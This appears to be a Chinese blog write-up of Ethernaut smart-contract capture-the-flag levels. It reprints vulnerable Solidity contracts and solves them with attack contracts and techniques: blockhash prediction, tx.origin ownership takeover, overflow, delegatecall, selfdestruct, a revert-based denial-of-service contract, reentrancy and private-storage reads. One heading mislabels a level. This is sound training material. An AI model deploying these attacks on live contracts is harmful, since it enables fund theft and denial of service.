踩坑记录 来自这里
可见修饰符 public private ethernaut 0.注意事项
@openzeppelin/contracts/math/SafeMath.sol
的地址已经迁移,做这个靶场的时候得自己手动改成"@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
以太坊主网即将进行合并,Rinkeby测试网络将于一年后停止运行,到时候就不知道这个靶场是否还会继续运行
不同版本的solidity语言特性不一样,可能会有兼容问题
Rinkeby的测试以太难以大量获取,做题不要一股脑把以太全塞进去了
1.Fallout 描述 1 2 3 4 5 6 7 8 9 10 11 12 13 这很白痴是吧? 真实世界的合约必须安全的多, 难以入侵的多, 对吧? 实际上... 也未必. Rubixi的故事在以太坊生态中非常知名. 这个公司把名字从 'Dynamic Pyramid' 改成 'Rubixi' 但是不知道怎么地, 他们没有把合约的 constructor 方法也一起更名: contract Rubixi { address private owner; function DynamicPyramid() { owner = msg.sender; } function collectAllFees() { owner.transfer(this.balance) } ... 这让攻击者可以调用旧合约的constructor 然后获得合约的控制权, 然后再获得一些资产. 是的. 这些重大错误在智能合约的世界是有可能的.
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 pragma solidity ^0.6 .0 ; import '@openzeppelin/contracts/math/SafeMath.sol' ;contract Fallout { using SafeMath for uint256; mapping (address => uint) allocations; address payable public owner; function Fal1out ( ) public payable { owner = msg.sender ; allocations[owner] = msg.value ; } modifier onlyOwner { require ( msg.sender == owner, "caller is not the owner" ); _; } function allocate ( ) public payable { allocations[msg.sender ] = allocations[msg.sender ].add (msg.value ); } function sendAllocation (address payable allocator ) public { require (allocations[allocator] > 0 ); allocator.transfer (allocations[allocator]); } function collectAllocations ( ) public onlyOwner { msg.sender .transfer (address (this ).balance ); } function allocatorBalance (address allocator ) public view returns (uint) { return allocations[allocator]; } }
解: 扔到remix里面调用Fal1out()
函数就行了
2.Coin Flip 描述 这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 pragma solidity ^0.6 .0 ; import '@openzeppelin/contracts/math/SafeMath.sol' ;contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968 ; constructor ( ) public { consecutiveWins = 0 ; } function flip (bool _guess ) public returns (bool) { uint256 blockValue = uint256 (blockhash (block.number .sub (1 ))); if (lastHash == blockValue) { revert (); } lastHash = blockValue; uint256 coinFlip = blockValue.div (FACTOR ); bool side = coinFlip == 1 ? true : false ; if (side == _guess) { consecutiveWins++; return true ; } else { consecutiveWins = 0 ; return false ; } } }
解: 以太坊网络经典难题:熵的产生
使用区块哈希产生的随机数很容易被预测(只需要和它在同一个区块上就行了),只需要写个中继合约打进去就行了(原来的合约基础之上改一点点就行了)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 function exp() public returns (bool) { uint256 blockValue = uint256(blockhash(block.number.sub(1))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false; c = CoinFlip(targetAddress); c.flip(side); }
注意: 在某些预测随机数的题目中会返还以太,经常出现合约逻辑没有任何问题,但是就是运行出错
的问题。
当合约收到一个calldata为空的call时,receive函数会被调用。这个函数会在执行一些以太币转账操作时被执行,常见的以太币转账操作包括.send()
、.transfer()
函数发起的转账。如果没有receive函数存在,但是存在一个payable属性的fallback函数的话,这个fallback函数会在一次以太币转账中被调用。如果一个合约既没有receive函数也没有payable属性的fallback函数,那么这个合约不能通过常规的交易来接收以太币,并且会抛出一个异常。
3.Telephone 合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 pragma solidity ^0.6.0; contract Telephone { address public owner; constructor() public { owner = msg.sender; } function changeOwner(address _owner) public { if (tx.origin != msg.sender) { owner = _owner; } } }
解: tx.orgin
指的是交易的发起方,msg.sender
是直接调用的一方,所以直接写合约调用这个函数就行了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity ^0.4.11; interface Telephone { function changeOwner(address _owner) external; } contract exploit { address targetAddr; Telephone t; address myaddr; function setInstance(address _targetAddr,address _myaddr) public { targetAddr=_targetAddr; myaddr= _myaddr; } function exp () public { t = Telephone(targetAddr); t.changeOwner(myaddr); } }
4.Token 合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Token { mapping(address => uint) balances; uint public totalSupply; constructor(uint _initialSupply) public { balances[msg.sender] = totalSupply = _initialSupply; } function transfer(address _to, uint _value) public returns (bool) { require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; } function balanceOf(address _owner) public view returns (uint balance) { return balances[_owner]; } }
解: 很easy 溢出就完事了转个 115792089237316195423570985008687907853269984665640564039457584007913129639935
就行了
5. Delegation 合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Delegate { address public owner; constructor(address _owner) public { owner = _owner; } function pwn() public { owner = msg.sender; } } contract Delegation { address public owner; Delegate delegate; constructor(address _delegateAddress) public { delegate = Delegate(_delegateAddress); owner = msg.sender; } fallback() external { (bool result,) = address(delegate).delegatecall(msg.data); if (result) { this; } } }
解: 老生常谈, delegatecall相当于是去目标合约那块把相关的函数代码复制过来运行,而在solidity是个编译型语言,且存储使用的是slot[]这个大数组,变量是写死在代码里面的,一旦目标合约的变量环境和当前合约的变量环境不一样,就出大事,这题都做烂了,懒得写了
6.Force 描述 1 2 3 有些合约就是拒绝你的付款,就是这么任性 ¯\_(ツ)_/¯ 这一关的目标是使合约的余额大于0
合约代码 1 2 3 4 5 6 7 8 9 10 11 12 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Force {/* MEOW ? /\_/\ / ____/ o o \ /~____ =ø= / (______)__m_m) */}
解: 在Solidity里面,有个很特殊的自毁函数 selfdestruct(addr);
随便写个合约,塞进去一个selfdestruct函数,然后指向题目
7.Vault 合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract Vault { bool public locked; bytes32 private password; constructor(bytes32 _password) public { locked = true; password = _password; } function unlock(bytes32 _password) public { if (password == _password) { locked = false; } } }
解 直接getStorageAt就行了,直接看
8.King 合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; contract King { address payable king; uint public prize; address payable public owner; constructor() public payable { owner = msg.sender; king = msg.sender; prize = msg.value; } receive() external payable { require(msg.value >= prize || msg.sender == owner); king.transfer(msg.value); king = msg.sender; prize = msg.value; } function _king() public view returns (address payable) { return king; } }
解: 1 2 3 4 5 6 7 8 9 10 11 contract Attack { constructor(address payable target) public payable{ require(msg.value == 0.15 ether,"Not enough!"); target.call.gas(1000000).value(0.15 ether)(""); } receive() external payable { revert(); } }
当submit题目打算回收“王权”时,它运行到king.transfer(msg.value);这一行时,由于king就是我们合约的地址,而我们合约的receive函数会执行revert,因此它会卡在这个状态无法执行,从而无法取回王权。
这个漏洞在实际合约中被用revert来执行DDos,让程序卡在某个状态无法运行。
麻了,在写攻击合约的时候又踩坑里了https://blockchain-academy.hs-mittweida.de/courses/solidity-coding-beginners-to-intermediate/lessons/solidity-2-sending-ether-receiving-ether-emitting-events/topic/sending-ether-send-vs-transfer-vs-call/
transfer:要求接收的智能合约中必须有一个fallback或者receive函数,否则会抛出一个错误(error),并且revert(也就是回滚到交易前的状态)。而且有单笔交易中的操作总gas不能超过2300的限制。transfer函数会在以下两种情况抛出错误:
付款方合约的余额不足,小于所要发送的value
接收方合约拒绝接收支付
send:和transfer函数的工作方式基本一样,唯一的区别在于,当出现上述两种交易失败的情况时,send的返回结果是一个boolean值,而不会执行revert回滚。
call: call函数和上面最大的区别在于,它没有gas的限制,使用call时EVM将所有gas转移到接收合约上,形式如下:
(bool success, bytes memory data) = receivingAddress.call{value: 100}(“”); 将参数设置为空会触发接收合约的fallback函数,使用call同样也可以调用本合约内的函数,形式如下 (bool sent, bytes memory data) = _to.call{gas :10000, value: msg.value}(byte4(keccack256(“function_name(uint256)”,args)));
9.Re-entrancy 合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 pragma solidity ^0.6 .0 ; import '@openzeppelin/contracts/math/SafeMath.sol' ;contract Reentrance { using SafeMath for uint256; mapping (address => uint) public balances; function donate (address _to ) public payable { balances[_to] = balances[_to].add (msg.value ); } function balanceOf (address _who ) public view returns (uint balance) { return balances[_who]; } function withdraw (uint _amount ) public { if (balances[msg.sender ] >= _amount) { (bool result,) = msg.sender .call {value :_amount}("" ); if (result) { _amount; } balances[msg.sender ] -= _amount; } } receive () external payable {} }
解 合约在进行提币时,使用 require 依次判断提币账户是否拥有相应的资产,随后使用 msg.sender.call
.value(amount)() 来发送 Ether,处理完成
后相应修改用户资产数据。
首先,使用call
进行转账是个比较危险的操作,因为call
会将当前剩下的gas
一并发过去,这就导致目标合约在发送以太过去后会有足够的gas运行攻击合约里的receive
函数,而攻击合约里的receive
又会去调用目标合约里的转账函数,此时目标合约里记录转账的变量还未被修改,因此又可以继续转账然后如此往复。
10.Elevator 合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 pragma solidity ^0.6 .0 ; interface Building { function isLastFloor (uint ) external returns (bool); } contract Elevator { bool public top; uint public floor; function goTo (uint _floor ) public { Building building = Building (msg.sender ); if (! building.isLastFloor (_floor)) { floor = _floor; top = building.isLastFloor (floor); } } }
目标是让top变为true,只需要返回不同结果就可以了
继承抽象合约,然后写函数就完事了。
11.Privacy 很简单的题目,想在区块链上保护自己的隐私,太离谱了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 pragma solidity ^0.6 .0 ; contract Privacy { bool public locked = true ; uint256 public ID = block.timestamp ; uint8 private flattening = 10 ; uint8 private denomination = 255 ; uint16 private awkwardness = uint16 (now); bytes32[3 ] private data; constructor (bytes32[3 ] memory _data ) public { data = _data; } function unlock (bytes16 _key ) public { require (_key == bytes16 (data[2 ])); locked = false ; } }
解: 根据slot插槽,确定数据在哪里
1 2 3 4 5 6 slot[0] | (bool locked)| slot[1] |(uint256 ID )| slot[2] | (unit 16 awkwardness)(uint8 denomination)(unit8 flattening)| slot[3] |(bytes32[0] )| slot[4] |(bytes32[1] )| slot[5] |(bytes32[2] )|
合约中要求require(_key == bytes16(data[2]));
只需要web3.eth.getStroageAt(contract.address,5)
然后截取结果的前32位发过去就行了
12. Gatekeeper One 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 pragma solidity ^0.6 .0 ; import '@openzeppelin/contracts/math/SafeMath.sol' ;contract GatekeeperOne { using SafeMath for uint256; address public entrant; modifier gateOne ( ) { require (msg.sender != tx.origin ); _; } modifier gateTwo ( ) { require (gasleft ().mod (8191 ) == 0 ); _; } modifier gateThree (bytes8 _gateKey ) { require (uint32 (uint64 (_gateKey)) == uint16 (uint64 (_gateKey)), "GatekeeperOne: invalid gateThree part one" ); require (uint32 (uint64 (_gateKey)) != uint64 (_gateKey), "GatekeeperOne: invalid gateThree part two" ); require (uint32 (uint64 (_gateKey)) == uint16 (tx.origin ), "GatekeeperOne: invalid gateThree part three" ); _; } function enter (bytes8 _gateKey ) public gateOne gateTwo gateThree (_gateKey) returns (bool) { entrant = tx.origin ; return true ; } }
解: gateOne() 这个好过,写个合约就行了
gateTwo() 这个也好过….?应该?,中继合约里面.call限制一下数字?
13.Privacy 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 pragma solidity ^0.6 .0 ; import '@openzeppelin/contracts/token/ERC20/ERC20.sol' ; contract NaughtCoin is ERC20 { uint public timeLock = now + 10 * 365 days; uint256 public INITIAL_SUPPLY ; address public player; constructor (address _player ) ERC20 ('NaughtCoin' , '0x0' ) public { player = _player; INITIAL_SUPPLY = 1000000 * (10 **uint256 (decimals ())); _mint (player, INITIAL_SUPPLY ); emit Transfer (address (0 ), player, INITIAL_SUPPLY ); } function transfer (address _to, uint256 _value ) override public lockTokens returns (bool ) { super .transfer (_to, _value); } modifier lockTokens ( ) { if (msg.sender == player) { require (now > timeLock); _; } else { _; } } }
解: 你写你的,我用我的
ERC20有自己的转账函数,咱为啥用他的转账函数呢?
16. delegate过
17. Recovery